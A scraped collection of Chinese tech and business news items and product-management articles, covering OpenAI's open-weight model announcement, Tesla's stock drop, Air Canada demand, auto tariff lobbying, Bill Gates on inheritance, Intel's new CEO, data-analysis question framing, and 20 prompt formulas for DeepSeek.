最后，简单总结一下，分层营销体系包括针对第一曲线、第二曲线的策略和夯实基础。第一曲线需迭代产品和探索新平台；第二曲线需确保资源和团队独立性；基础建设需长期品牌投入和打造爆品机制。通过这些策略，相信你的企业可实现从10~100的持续增长。 本文由 @在下卓一航 原创发布于人人都是产品经理。未经作者许可，禁止转载 题图来自Unsplash，基于CC0协议 该文观点仅代表作者本人，人人都是产品经理平台仅提供信息存储空间服务

与DeepSeek和宇树科技早有合作，中信管理层明确表示：不能成为明星的产业都将逐步退出。

4月1日，OpenAI创始人Sam Altman发文表示，ChatGPT图像生成功能已向所有免费用户推出。据悉，OpenAI此前于3月26日向全球所有ChatGPT Plus、Pro和Team用户推出了原生图像生成功能。   由于该功能热度过高，OpenAI创始人Sam Altman此前表示，不要再生成图片了，这太疯狂了，我们的团队需要睡觉。  他还曾表示，看到人们喜欢ChatGPT中的图像非常有趣，但我们的GPU正在‘熔化’。我们将暂时引入一些速率限制，同时努力提高效率。希望不会太久！ChatGPT免费版将很快每天获得3次图像生成机会。 [查看评论](https://m.cnbeta.com.tw/comment/1489636.htm)

OpenAI CEO Sam Altman刚刚发文扔出一枚“核弹”：“我们计划在未来几个月内发布一款强大的开源大模型”。距离ChatGPT引爆全球已过去26个月，那是Altman亲眼见证过的最疯狂的现象级传播事件之一，当时OpenAI在短短五天内就吸引到了一百万用户，而就在刚刚过去的一个小时里，OpenAI又新增了一百万用户。 Sam Altman亲自发文：GPT-2之后首次开源，开发者狂欢倒计时  划重点： OpenAI宣布将发布开源大模型（open-weight），这是自GPT-2后首次开源 新模型主打强推理能力，Sam Altman直言“要让它变得非常、非常优秀” 开发者可提前参与反馈，旧金山、欧洲、亚太线下活动即将启动 安全是核心：已启动对抗性微调等专项测试，绝不发布高风险模型  Altman认证“史上最疯狂传播时刻”，而这次OpenAI选择回归开源初心——这是自2019年GPT-2之后，OpenAI首次开源语言模型 **为什么现在开源？** Altman“坦诚”：早想做了，但优先级一直排不上。如今时机成熟，团队认为“这件事变得重要起来”，这里必须要疯狂@DeepSeek了。 新模型两大特点： • 开源（open-weight） • 强化推理能力 虽然未透露具体参数，但官方连用两个“very”强调目标：“要让它成为非常、非常优秀的模型”  **OpenAI已启动全球预热：** 旧金山首发线下活动 欧洲、亚太场次接棒 提前注册通道开放（文末链接） 目的是收集反馈，并让开发者提前体验原型。官方明确喊话：想看看大公司和政府如何自主部署模型。 **安全牌打满** 从预训练到发布，OpenAI祭出三重防护： 沿用自研的“Preparedness Framework”评估框架 重点研究开源模型特有风险（如对抗性微调） 内测+第三方专家双保险 Altman斩钉截铁：“绝不发布可能造成灾难性风险的模型”。 **说人话版总结：** OpenAI这次开源，既是向开发者递橄榄枝，也是给行业喂定心丸——“开源与安全可以兼得”。至于模型到底多强？评论区聊聊你的期待！ 附：官方反馈链接 [https://openai.com/open-model-feedback](https://openai.com/open-model-feedback) **全文：** 山姆·奥特曼 (Sam Altman) OpenAI 26个月前 ChatGPT 刚发布时，那是我亲眼见证过的最疯狂的现象级传播事件之一，当时我们在短短五天内就吸引到了一百万用户。 而就在刚刚过去的一个小时里，我们又新增了一百万用户 长话短说： 我们很高兴将在未来几个月内发布一款具备推理能力的、强大的新型开源权重语言模型。我们希望与开发者们交流，探讨如何让这款模型发挥最大作用：[https://openai.com/open-model-feedback](https://openai.com/open-model-feedback) 我们非常期待能将它打造成一个非常、非常出色的模型！ 我们正计划发布自 GPT-2 以来的首个开源权重语言模型。 这件事我们已经考虑了很久，但此前有其他更优先的事项。现在我们觉得是时候（或者说，认为很重要）来做这件事了。 在发布之前，我们会像对待其他任何模型一样，依据我们的安全准备框架 (Preparedness Framework) 对该模型进行评估。并且，考虑到我们知道这款模型在发布后可能会被修改，我们还会做额外的工作。 我们还有一些决策尚未最终确定，因此我们将举办开发者活动来收集反馈，并在后续让大家试用早期原型。活动将在几周后于旧金山 (SF) 启动，随后会在欧洲和亚太地区 (APAC) 举办。如果您有兴趣参加，请通过上方链接报名。 我们很期待看到开发者们会创造出什么，以及那些倾向于自行部署运行模型的大型企业和政府机构将如何使用它。 安全是我们开发这款开源权重模型的核心关注点，贯穿从预训练到发布的整个过程。 尽管开源模型带来了独特的挑战，但我们会遵循我们的安全准备框架，并且不会发布我们认为可能构成灾难性风险的模型。 我们尤其专注于研究对抗性微调 (adversarial fine-tuning) 以及其他开源模型特有的风险。与所有模型的发布一样，在公开发布之前，我们正在进行广泛的安全测试，这包括内部测试以及与值得信赖的第三方专家合作进行的测试。 [查看评论](https://m.cnbeta.com.tw/comment/1489634.htm)

美国电动汽车巨头特斯拉公司（Tesla Inc.）的股价周一下跌，分析师和投资者继续对该公司将公布的第一季度交付数据感到担忧。由于特斯拉CEO埃隆·马斯克在特朗普政府中的角色以及对进口汽车零部件关税影响的担忧，公众对第一季度交付量的预期一直在下降。特斯拉预计将于4月2日发布第一季度交付量。  该股周一盘中一度大跌7.7%，收盘跌1.67%，报259.16美元。在此之前，该股上周上涨6%，结束了连续九周的创纪录下跌，并录得自特朗普就职以来的首次单周上涨。 周一，Stifel分析师Stephen Gengaro将其对特斯拉第一季度交付量的预测下调了23%，从458672辆降至353418辆。他将自己下调预期的原因归咎于新款Model Y汽车产量增加的时机，以及针对马斯克的抗议活动。 他还说，特斯拉预计6月底推出的备受期待的低价车型可能会导致一些消费者推迟购买。 尽管下调了交付量预期，但Gengaro重申了对该股的买入评级，将目标价从474美元下调了4%，至455美元，新的目标价仍意味着较当前水平有大约76%的上涨空间。 “我们预计股价波动将在短期内持续，”Gengaro在给客户的一份报告中写道，并补充说，随着低价汽车的销售和今年晚些时候在德州奥斯汀的全自动驾驶的推出，他对特斯拉的中长期前景仍持“乐观”态度。 Gengaro是最新一位大幅下调交付预期的特斯拉多头分析师。本月早些时候，Baird的本·卡洛（Ben Kallo）将他的交付量预期从369400辆下调至315400辆。 上周，就连华尔街最看好特斯拉的Wedbush分析师丹·艾夫斯（Dan Ives）也表示，他预计交付量将“非常疲软”，可能在35.5万至36万辆之间。尽管由于特斯拉所有的电动汽车都是在美国组装的，因此特斯拉应该会相对免受关税的影响，但艾夫斯表示，特斯拉仍将受到伤害，并被迫提高价格，因为制造电动汽车所用的许多零部件都是进口的。 而投资者方面表达的担忧远远超过华尔街的卖方分析师。截至周一收盘，特斯拉股价今年迄今累计下跌了35.8%。 与此同时，FactSet编制的分析师对第一季度交付量的平均预期本月仅下滑7.1%，至40.8万辆。这一“共识”预期仅比去年年底的预期低13%。 目前分析师给予特斯拉的平均目标价是358.25美元，意味着较当前水平上涨约40%。虽然这一目标比一个月前低了0.6%，但比三个月前高了21%。 投资者和分析师担忧程度的不同，也导致看涨的分析师人数上升。在FactSet调查的57位研究特斯拉的分析师中，有29位（51%）看好特斯拉，高于3月底的27位和2024年底的26位。 投资者和分析师担忧程度的不同，也导致看涨的分析师人数上升。在FactSet调查的57位研究特斯拉的分析师中，有29位（51%）看好特斯拉，高于3月底的27位和2024年底的26位。 Cantor Fitzgerald的安德里斯·谢泼德（Andres Sheppard）是本月早些时候转为看多的分析师之一。他说，这只股票已经跌得够多了，长期投资者应该开始买入，只要他们能够应对短期内的一些波动。 [查看评论](https://m.cnbeta.com.tw/comment/1489632.htm)

加拿大航空公司（Air Canada）周一表示，今年春季和夏季，加拿大和美国城市之间的航班需求疲软，因为在贸易冲突和地缘政治紧张局势加剧之际，加拿大人正纷纷避免前往南方邻国。该公司在年会上的一份报告显示，截至3月中旬，今年4月至9月期间的跨境航班预订量同比下降了10%。 [](https://static.cnbetacdn.com/thumb/article/2020/0331/0f0f9783567abf8.jpg) 加拿大航空公司是加拿大最大的航空公司，飞往美国的目的地比其他任何航空公司都多。“我担心吗？”在周一的股东大会上，该公司董事长索伦森（Vagn Sorensen）在回答股东提问时表示。“是的，当然，我很担心。” 自今年年初以来，加拿大航空公司的股价已下跌了35%。 加拿大航空和西捷航空（WestJet）上周分别在声明中表示，地缘政治紧张局势导致一些消费者选择不在美国度假。这一转变是对美国产品的更大规模抵制的一部分，以回应美国总统特朗普的关税政策，以及他一再表示他认为加拿大应该成为美国一部分的言论。 索伦森补充说，该公司看到了飞往欧洲目的地的跨大西洋航班的强劲需求。加拿大航空周一宣布，今年夏天将增加飞往爱丁堡、巴黎、雅典和罗马等城市的航班。 加拿大航空的竞争对手波特航空（Porter Airlines）周一表示，已调整夏季航班时刻表，将国内航线占总运力的80%，高于原计划的75%。该航空公司表示，它正在“有针对性地减少美国部分市场的航班频次”，但其在加拿大-美国航线上的总体占有率仍将高于去年夏天。随着巴西航空工业公司（Embraer）新型E195-E2飞机的部署，波特航空公司一直在扩大运力。 总部位于英国的维珍大西洋航空公司（Virgin Atlantic Airways）周一也警告称，最近几周，从美国出发的航班机票销售疲软，而从欧洲到美国的需求迄今保持良好。 民意调查显示，绝大多数加拿大人对加入美国没有兴趣，他们不赞成特朗普。Leger Marketing上周发布的一项民意调查显示，只有9%的加拿大人希望成为美国的一部分。 [查看评论](https://m.cnbeta.com.tw/comment/1489630.htm)

**据知情人士透露，美国汽车制造商正就部分汽车零部件关税豁免问题向特朗普政府进行最后游说，试图在关税政策本周生效前争取调整空间。**福特汽车(F.US)、通用汽车(GM.US)和克莱斯勒母公司Stellantis NV(STLA.US)正寻求免除数千种进口零部件的关税，这些部件多采购自墨西哥等低成本国家。知情人士表示，他们已与白宫、商务部和美国贸易代表办公室举行会谈，讨论豁免事宜。 [](https://static.cnbetacdn.com/article/2024/1104/bea35d3eddf7919.jpg) 白宫未就汽车零部件谈判事宜立即回应置评请求，相关车企均拒绝发表评论。 按照特朗普的关税政策，除对整车征收25%关税外(4月3日起实施)，进口汽车零部件还将额外征税。知情人士表示，底特律汽车制造商虽表示愿意承担整车及发动机、变速箱等核心部件的关税成本，但强调若对构成现代汽车的众多零部件全面征税，将给行业带来灾难性后果。 其中一位知情人士表示，车企代表已向政府表明，此类关税将导致成本激增数十亿美元，进而引发裁员和盈利预警，这与特朗普振兴美国汽车工业的执政目标背道而驰。 这些车企主要寻求电线护套等低附加值零部件的关税豁免，这类劳动密集型产品多在墨西哥等低工资国家生产。他们认为，叠加关税将推高汽车售价，抑制本已承受近5万美元均价压力的美国消费者需求。 根据特朗普3月26日签署的行政令，整车关税将于4月3日生效，而发动机、变速箱和电气系统等主要部件关税则自5月3日起征。此外，特朗普计划于4月2日宣布针对多国的对等关税措施。目前尚不清楚这些时间节点是否为汽车零部件谈判的最后期限。 特朗普上周末在接受采访谈及关税政策时表示，他“不在乎他们是否会涨价，因为消费者终将转而购买美国车”。 [查看评论](https://m.cnbeta.com.tw/comment/1489628.htm)

微软联合创始人比尔·盖茨近日重申，他将仅把自己财富的一小部分留给子女。本周，盖茨在接受Raj Shamani播客采访时表示，富裕家庭的遗产决定取决于他们的个人信仰。“每个人都有自己的决定，”盖茨开始说，并补充道：“就我而言，我的孩子们得到了很好的成长和教育，但将仅得到总财富的不到1%，因为我觉得这对他们来说不是一种帮助。”  “这是为了传承，”盖茨说，“我不是让他们来管理微软。我想给他们一个拥有自己收入和成功的机会。” 盖茨此前曾在接受英国《每日邮报》财富时表示，他将给每个孩子1000万美元的礼物，并表示再多给孩子也不会给他们带来任何好处。从那以后，他的偏好是否发生了变化，以反映他1%的财富，目前尚不清楚。 在本周的播客访问中，盖茨补充说，他希望他的孩子们能够凭借自己的能力变得“重要”，而不是“被（他们父亲）拥有的惊人的运气和好运所掩盖”。 他补充说：“你不希望你的孩子对你对他们的支持和爱感到困惑。所以我认为在早期就解释你的理念：你会平等对待他们，你会给他们难以置信的机会，但对这些资源的最高要求是通过基金会回到最需要的人手中。” 盖茨说，他孩子们见证了他们的父母为小儿麻痹症、水卫生、致命疾病的疫苗等事业所做的努力，作为父亲，他希望孩子们能为这些事业感到“自豪”。 他补充说：“我见过一些案例，孩子们实际上告诉他们的父母要更慈善。我认为，年轻一代有时实际上是在反对财富只是代代相传的想法。” 不过，当你是微软创始人时，即使你财富的一小部分仍然代表着超过10亿美元。据股价，盖茨目前的净资产约为1610亿美元，这个数字的1%是16.1亿美元。 因此，虽然盖茨的三个孩子的身价不会像他们的父亲那么高，但他们的资产仍有可能使他们跻身最富1%行列，全球房地产咨询公司莱坊（Knight Frank）将这定义为身价580万美元或以上的人。 [查看评论](https://m.cnbeta.com.tw/comment/1489626.htm)

<blockquote><p>一个精准的问题能够为分析工作指明方向，避免陷入无意义的数据海洋，同时也能帮助分析师与业务部门紧密合作，真正解决实际问题。</p> </blockquote>  在说如何分析之前，我们先聊聊分析师为什么要问一个好问题。 分析师常会遇上这些情况，有时候需求太过具体甚至到字段且不需要给出分析结论和建议，纯纯沦为提数工具人，又或者需求抽象得像天问一样，不能聚焦要解决的目标是什么，给出的数据仅停留在数据表面，没有深入发现本质问题。这些常常都会让分析师有一些挫败感，无法同业务有更紧密的合作，自身也得不到成长。因此提出一个或一系列好问题，是分析的至关重要的第一步，真正提出好问题才能引导其被真正解决。 通常分析师面对的需求分为这两种情况：①需求明确的收敛问题，②需求不明确的开放问题。 先来聊聊第一类：需求明确的收敛问题。 该类问题会分为两种： - 需求字段等明确无需得出结论，会包括明确的需求目标、 数据字段、分析维度，需求方拿到数据结果会自行进行数据判断，并根据业务经营得出结论。 - 需求明确但需要得出结论，该类需求是为了发现问题或证明业务动作价值，业务方有明确要完成的目标，根据目标指标达成情况，进一步分析成因或败因，对应进行简单总结和分析。 以上两种需求目标简单，分析师仅需沟通明确分析的业务背景和字段等，理解业务逻辑，进行指标拆解，分层次论证和判断。 上文讲到这类问题通常较为简单，业务也会进行数据对比和分析，因此分析师在处理时应充分同业务沟通，重点梳理好业务流程和框架，理清目标指标和过程指标，找到合理的对比项，清晰表达自身观点。就这类问题分析师通常要和业务沟通哪些内容呢？ - 需求背景和目标。需了解业务基于什么背景做该项目，项目的重要程度、影响范围，以判断优先级。 - 项目过程。明确项目如何开展，当前项目阶段、约束条件，以确定数据评估的基准。 - 分析内容。具体要用数据分析解决什么问题，可拆分为问题1、2、3等问题来回答。 我们再看第二类：需求不明确开放问题 该类问题会分为两种： - 定位问题类。如通常情况下会被问到某个指标下降了，是什么原因？业务上是否存在问题？再如现在整体品类是否太少，是否需要扩充品类？客户端下单页面是否存在用户操作问题上的卡点？ - 潜在机会类。如要开启一个新项目，是否值得投入，预估可带来多少收益？ 以上两种问题显然没有明确指向性答案，需要分析师抽丝剥茧寻找问题本质，制定判断标准和评估方法。 因此在这类需求沟通时，需要遵循一些逻辑把目标问题进行拆分： - 询问真正动因。这里有个小技巧，在询问问题动因和背景时，可以尝试问“请问你想解决的问题是什么？”，这样可快速定位该问题核心，和了解业务方如何思考该问题。 - 询问探究进度。了解历史分析材料、结论、难点、痛点，以确定问题被解决的程度，避免重复分析，同时更聚焦核心待解决问题。 - 确定分析目标。分析的目标往往和业务自身KPI或OKR相关，因此可以引导询问“你们部门的KPI或者OKR是什么，该分析需求和KPI的关系是什么？”。 - 问题归类。经营类：商业类指标如收入、销量、成本、利润等；产品类：如UV、转化率等；用户类：用户规模、访购率等。这里注意经营类指标一般容易判断好坏，而用户类和产品类指标需要结合具体场景再判断。（后边文章再详细展开指标） - 问题转换和推演。主要询问业务动作是什么，把业务动作抽象为过程指标，同时需要关注业务动作带来的影响范围和程度，寻找过程指标和目标之间的传导关系，一次来构建完整清晰的指标框架。一般会询问“这个动作完成会带来什么影响？如果不做该动作，目标是否会自然达成？”。判断动作有效性，同时数据的中立性。 - 问题总结。经过详细的问题描述，勾勒清楚问题的边界和范围，将抽象化为具体，将业务语言转换为数据语言，有先后顺序地进行分析。 作者：小王子和小企鹅，公众号：小王子和小企鹅   本文由@小王子和小企鹅 原创发布于人人都是产品经理。未经作者许可，禁止转载。 该文观点仅代表作者本人，人人都是产品经理平台仅提供信息存储空间服务。

英特尔首席执行官陈立武表示，该芯片制造商将剥离对公司愿景非核心的资产，开发包括定制半导体在内的新产品，以更好地匹配客户需求。陈立武称，英特尔需要补充流失的工程人才，改善资产负债表，更好地调整生产流程，以满足潜在客户的需求。 周一在拉斯维加斯举行的英特尔愿景大会上，陈立武首次以首席执行官身份公开露面。他没有具体说明他认为英特尔的哪些业务将不再是其未来的核心。 [](https://static.cnbetacdn.com/article/2025/0324/5ce437bb1131399.jpg) “我们还有很多艰苦的工作要做，”他对台下的英特尔客户说。“在有些方面，我们没有达到你们的期望。” 这位在半导体领域经验丰富的高管正试图帮助这家曾称霸行业数十年之久的公司重返荣光。其领导层面临的一个关键问题是，重振英特尔究竟是该保持公司的完整性，还是分拆其关键产品和制造业务。 陈立武没有发出他将寻求剥离哪一块业务的信号。相反，他强调了他需要解决的问题，以便让这两个部门都能有更出色的表现。他说，英特尔用于数据中心、特别是人工智能相关的芯片还不够好。 “我们在创新方面落后了，”这位首席执行官说。“我们适应和满足你们的需求太慢了。” 现年65岁的陈立武于3月18日上任，他的任命最初引发了乐观情绪，并吸引一些投资者重返该股。但此后，随着科技股的普遍下跌，该公司股价也随之走低。陈立武发表演讲后，英特尔在盘后交易中下跌约1.2%。 [查看评论](https://m.cnbeta.com.tw/comment/1489624.htm)

特斯拉(TSLA.US)股价刚刚经历了自2022年以来最糟糕的一个季度，并遭遇了上市15年来第三大跌幅。这家电动汽车制造商的股价在今年前三个月暴跌36%。上一次更严重的下跌发生在2022年底，当时股价暴跌54%。该季度包括马斯克出售价值逾220亿美元的特斯拉股票，为其440亿美元收购推特(后更名为X)提供资金。 [](https://static.cnbetacdn.com/article/2025/0331/27ea825ef744229.webp) 上周五，马斯克表示，他的人工智能初创公司xAI已收购X，这笔交易对这家社交媒体公司的估值为330亿美元。 特斯拉第一季度股价下跌导致市值蒸发逾4600亿美元。该季度的大部分时间与马斯克在第二届特朗普政府任职的时间重叠，他当时领导了削减政府支出和监管的工作，并解雇了数万名联邦雇员。 马斯克领导着所谓的政府效率部(DOGE)。截至周一，DOGE网站声称，截至3月24日，该计划已削减了1400亿美元的联邦支出，这一数字不到特斯拉第一季度市值损失的三分之一。 “我的特斯拉股票和所有持有特斯拉股票的人的股票都缩水了大约一半，”马斯克周日晚间在威斯康星州绿湾举行的集会上表示，他支持一名右翼法官参加周二的州最高法院选举。“我想说的是，这是一份非常昂贵的工作。” DOGE的网站此前存在大量错误，导致该组织修改了其关于节省开支的说法。马斯克对联邦预算中浪费、欺诈和滥用的许多指控也被证明具有误导性或虚假性。 马斯克最近在接受福克斯新闻布雷特·拜尔采访时表示，他和DOGE计划在5月前将联邦总支出削减1万亿美元。马斯克在白宫的角色是拖累特斯拉股价的一个因素，因为它引发了全球范围内对特斯拉门店和车辆的抗议、抵制和暴力袭击浪潮。 特朗普总统的汽车关税也是一个令人担忧的问题，因为它们涉及特斯拉的主要供应商，尤其是墨西哥和中国。对关税的担忧引发了科技股更广泛的抛售，纳斯达克指数当季收跌10%，为2022年以来的最大跌幅。 特斯拉还面临其他不利因素，比如新车销量大幅下滑，以及马斯克承诺推出自动驾驶出租车而竞争对手在扩大市场领先优势带来的压力。 马斯克曾表示，特斯拉将于6月在得克萨斯州奥斯汀推出无人驾驶叫车业务，但一些分析师对该公司能否实现这一目标表示怀疑。 大约10年来，马斯克一直承诺，现有的特斯拉汽车只需再进行一次软件更新，就可以变成可以使用的自动驾驶出租车。在该公司第四季度财报电话会议上，马斯克表示，即将推出的特斯拉全自动驾驶软件版本也需要进行硬件更新。 尽管第一季度股价下跌令股东感到痛苦，但他们在最近经历了类似的波动。2024年第一季度，由于汽车销量下降和竞争加剧，特斯拉股价暴跌29%。但该股在今年的剩余时间里出现反弹，最终上涨63%。 “从长远来看，我认为特斯拉股票会表现良好，”马斯克在绿湾集会上表示。“所以，你知道，现在可能是一个买入机会。” [查看评论](https://m.cnbeta.com.tw/comment/1489622.htm)

标杆终将被超越。

靠智能眼镜和PC产品升级，雷神正努力抓住AI风口。

<blockquote><p>通过掌握一些高效的提问公式，就能引导AI给出更有针对性和价值的回答。本文精心整理了20个万能提问公式，让你在面对复杂任务时游刃有余。</p> </blockquote>  用Deepseek，很多人问完问题，发现答案不是想要的。 这往往不是因为它不懂，而是因为我们问得不对。 其实，用好几个公式，就能把答案引导到你想去的地方。 以下就是一些好用的提问公式，建议你收藏。（同样适用于chatgpt、claude等其他大模型） ## 1. 情境描述+需求明确 详细公式： <blockquote><p>“我现在在[具体情境]中，遇到了[具体问题]。我想实现[具体需求]，有什么系统的方法可以做到吗？”</p></blockquote> 解析： 通过明确地描述自己所在的情境、遇到的问题以及具体需求，可以让Deepseek提供更有针对性的建议。这个公式的关键在于提供充足的背景信息。 详细例子： <blockquote><p>“我现在在负责一个有关电商平台用户增长的项目，发现用户注册转化率偏低。我想提升转化率，特别是要优化注册流程。有没有什么方法可以系统地分析并优化这个环节？”</p></blockquote> ## 2. 为什么+具体问题 详细公式： <blockquote><p>“为什么[某个现象]会发生？它在[某个特定情境]下会带来什么样的[具体影响]？背后的原因是什么？”</p></blockquote> 解析： 通过询问“为什么”去了解问题的本质。往往这种提问可以挖掘出隐藏在表面现象之下的深层次原因。这类问题更适合解决根本性的困惑。 详细例子： <blockquote><p>“为什么我们的客户在退货环节有很多抱怨？这些抱怨在用户体验层面的具体影响是什么？背后的操作流程问题有哪些？”</p></blockquote> ## 3. 模拟角色+任务设定 详细公式： <blockquote><p>“假如你是[某个特定角色]，你会如何处理[具体任务或问题]？特别是在[特定背景下]该如何决策？”</p></blockquote> 解析： 这个公式让Deepseek充当不同角色，通过不同的视角分析问题。通常适合那些你需要开拓新思路、站在不同立场思考问题的场景。 详细例子： <blockquote><p>“假如你是我们的竞争对手，你会如何应对我们最新推出的低价促销策略？特别是在消费者对价格敏感的背景下，你会采取什么不同的做法？”</p></blockquote> ## 4. 限定期限+要求效率 详细公式： <blockquote><p>“在[限定时间]内，能否给出[数量]种快速解决[某个问题]的方案？特别是在[某个背景或约束条件]下。”</p></blockquote> 解析： 这种提问能在短时间内为你提供高效的解决方案，通常适合那些需要快速见效或应付紧急问题的场景。 详细例子： <blockquote><p>“在15分钟内，能否给我三个快速提升团队线上会议效率的方法？特别是在远程办公和时间紧迫的条件下。”</p></blockquote> ## 5. 给出选项+评估 详细公式： <blockquote><p>“我有[选项A]和[选项B]两个选择，它们各自的[优缺点/适合的场景]是什么？在[某个特定情况下]，哪个更适合？”</p></blockquote> 解析： 这是典型的对比性问题，特别适合决策时需要深入权衡的场景。用这个公式不仅可以帮助对比不同选项，还能在特定情境下选出更合适的解决方案。 详细例子： <blockquote><p>“我们正在考虑使用Trello或Asana作为团队的项目管理工具，它们各自的优缺点是什么？在团队规模较小、任务繁杂的情况下，哪个更合适？”</p></blockquote> ## 6. 假设情况+可行性评估 详细公式： <blockquote><p>“如果我想[某个行为]，你觉得这个想法在[某个具体场景]下是否可行？如果可行，具体应该如何操作？”</p></blockquote> 解析： 通过模拟假设的行为，Deepseek能帮助评估这个想法的可行性和实际执行的方法。这种问题特别适合探索新思路、新策略时使用。 详细例子： <blockquote><p>“如果我想为我们的在线课程推出限时优惠活动，来提升用户的参与度，这个策略在我们这种小型教育平台上是否可行？如果可行，应该如何计划和推广？”</p></blockquote> ## 7. 步骤分解+实现方法 详细公式： <blockquote><p>“我想实现[某个目标]，你能一步步告诉我具体的[执行步骤]吗？每一步最好能包含[某个具体的执行细节或注意事项]。”</p></blockquote> 解析： 这个公式的精髓在于把复杂任务分解成具体的步骤。这适合那些你还不确定怎么开始，或哪些细节需要考虑的场景。步骤越细，执行时的清晰度就越高。 详细例子： <blockquote><p>“我想从头开始建立一个内容营销策略，能否一步步告诉我具体的执行步骤？每一步最好能包含所需的工具和实施细节。”</p></blockquote> ## 8. 获取简短总结 详细公式： <blockquote><p>“用不超过[字数]字，总结一下[某个复杂概念或问题]的[核心要点]。”</p></blockquote> 解析： 当你想快速提炼某个复杂话题的核心内容时，可以使用这个公式。简短总结往往适合一些复杂的长篇文章或理论。 详细例子： <blockquote><p>“用不超过50字，总结一下‘增长黑客’策略的核心要点。”</p></blockquote> ## 9. 难题直接问解决方案 详细公式： <blockquote><p>“我遇到了[具体问题]，它在[某个场景]中非常棘手。有什么有效的[解决方案或建议]可以立即实施吗？”</p></blockquote> 解析： 直接询问解决方案往往针对那些你在工作中遇到的具体、迫切需要解决的问题，它能够让你迅速获取实操性的建议。 详细例子： <blockquote><p>“我们的新产品上线后用户反馈非常有限，拉新效果不理想。在当前市场环境下，有什么有效的营销方案可以快速提升用户参与度？”</p></blockquote> ## 10. 实际问题+溯源 详细公式： <blockquote><p>“我们在[某个具体操作或项目]中遇到了[某个问题]，背后的[根本原因]可能是什么？该如何从根本上解决这个问题？”</p></blockquote> 解析： 通过提出问题并进一步追溯原因，能够帮助你不仅理解表象，还能深入问题的本质，避免同样的错误再次发生。 详细例子： <blockquote><p>“我们在新上线的电商平台上，发现支付流程让很多用户感到困惑，导致订单流失。背后的原因可能是什么？该如何从根本上解决这个问题？”</p></blockquote> ## 11. 情景任务+精准提示 详细公式： <blockquote><p>“假设我要在[某个场景]下完成[某个任务]，你能帮我设计一个包含[具体要求或要素]的方案吗？”</p></blockquote> 解析： 为特定场景设计详细任务时，加入具体要求和要素会让输出更贴近实际需求。这类提问适合像设计、策划、创意类的任务场景。 详细例子： <blockquote><p>“假设我要在公司年度会议上做一个产品发布演讲，能帮我设计一个包含互动环节的方案吗？要确保这个方案能够在现场拉近与观众的距离。”</p></blockquote> ## 12. 难题追问法 详细公式： <blockquote><p>“我的[某个问题]得到了[之前的答案]，但我觉得还可以进一步优化。为什么这个问题会存在？有没有更深层次的原因或更优的解决办法？”</p></blockquote> 解析： 通过不断地追问，你能获取更多细化的分析和优化的方案。特别适合用在初次获取答案之后，依然觉得某些部分未解决。 详细例子： <blockquote><p>“团队的项目协作工具已改为新的系统，但仍然有同事反馈操作不便。为什么会出现这样的情况？有没什么更深层次的原因导致效率没有提升？”</p></blockquote> ## 13. 质量评价+给出标准 详细公式： <blockquote><p>“在[两个或多个选项]之间，哪个更符合[特定标准或要求]？你能从[某几个维度]帮忙分析吗？”</p></blockquote> 解析： 针对评估任务，加入明确的评价标准和具体的维度可以帮助提高决策的质量。特别是在你需要更细致的对比分析时非常适用。 详细例子： <blockquote><p>“在选择抖音广告和百度广告作为我们的主要广告投放平台时，哪个更符合我们年轻消费者市场的定位？你能从广告投放的精准性和成本角度分析一下吗？”</p></blockquote> ## 14. 痛点分析+立刻要求方案 详细公式： <blockquote><p>“我们目前的[某个痛点]让[某个方面]很不顺利。背后的原因是什么？有哪些[具体的解决办法或步骤]能够立刻实施？”</p></blockquote> 解析： 直接定位痛点并立刻要求提供可行方案，这能够迅速提供处理方向。适用场景多为实操性的问题，需要马上给予缓解或者解决方案。 详细例子： <blockquote><p>“我们最近网站加载速度很慢，用户的跳出率显著增加。背后的原因是什么？有哪些具体的解决办法能够立刻实施来缓解这些问题？”</p></blockquote> ## 15. 设计式头脑风暴 详细公式： <blockquote><p>“有没有什么创新的方法可以[实现某个目标]？尤其是在[某个特定场景]下，有哪些新颖的做法可以尝试？”</p></blockquote> 解析： 头脑风暴最需要发散性思维。当你不局限于某个固定答案，而是希望获得更创新的方案时可以使用。这可以激发突破性想法。 详细例子： “有没有什么创新的方法可以提高我们在线教育平台的用户参与度？特别是在课程内容互动上，有什么新颖的做法值得一试？” ## 16. 任务命名法 详细公式： <blockquote><p>“我想完成[某个任务]，希望能用[某种方式]高效地实现它。你有什么[建议]吗？”</p></blockquote> 解析： 设定明确的诉求方式，能让Deepseek直接根据需求输出理想的执行方案。这种提问法比较通用，能帮助快速找到适配解决方案。 详细例子： <blockquote><p>“我想设计一份能够打动投资人的商业计划书大纲，希望能用简洁清晰的方式展现潜在市场机会。你有什么建议吗？”</p></blockquote> ## 17. 前后对比查看 详细公式： <blockquote><p>“在[某个操作或决策]之前和之后，会有什么[不同的结果或变化]？特别是在[某个特定指标或方面]会有怎样的影响？”</p></blockquote> 解析： 通过对比操作前后，帮助评估决策效果和可能产生的不同影响。这种方式特别适合事前的评估或者事后的反馈总结。 详细例子： <blockquote><p>“在我们的客户支持系统升级之前和之后，客户满意度预计会有怎样的变化？尤其是在处理效率和问题解决速度上会有哪些改进？”</p></blockquote> ## 18. 错误咨询+具体解析 详细公式： <blockquote><p>“在处理[某个任务或项目]时，人们常犯的[错误或误区]有哪些？在[某个具体步骤]时，怎么避免这些错误？”</p></blockquote> 解析： 提炼并预测某个流程或任务中的潜在错误，有助于防止后续工作的失误。这类提问可以通过提前的预判来提升整体工作的成功率。 详细例子： <blockquote><p>“在计划发布新产品的市场营销活动中，常见的错误有哪些？尤其是在制定预算和设定目标时，该怎么避免这些错误？”</p></blockquote> ## 19. 请教应急反应 详细公式： <blockquote><p>“在[某个紧急情况]发生时，最快最好的应对方式是什么？尤其是在[某个具体背景下]，该如何有效处理？”</p></blockquote> 解析： 出现突发情况时的应对方案提问法。强调“最快最好的应对方式”，适合处理那些须要在最短时间内进行决策的场景。 详细例子： <blockquote><p>“当我们的网站因为服务器宕机而导致无法访问时，最快最好的公关和维护应对方式是什么？特别是在大促销期间，该如何有效处理？”</p></blockquote> ## 20. 评估改进方法前后差异 详细公式： <blockquote><p>“在我们实施[某个改进方法]之前和之后，[某个具体指标]会有什么样的不同变化？特别是在[某个特定环境下]会有怎样的改善效果？”</p></blockquote> 解析： 这个提问公式特别适合在实施改进措施之后，用来评估前后的差异，尤其是以数据或具体效果为导向时非常有用。量化改进的效果，让你对投资回报有一个清晰的了解 详细例子： <blockquote><p>“在我们优化产品页面设计和用户流程之后，转化率和用户停留时间预计会有什么样的变化？特别是在我们的电商平台上，如何量化这些改进效果？”</p></blockquote> 本文由 @抖知书 原创发布于人人都是产品经理。未经作者许可，禁止转载 题图来自Unsplash，基于CC0协议 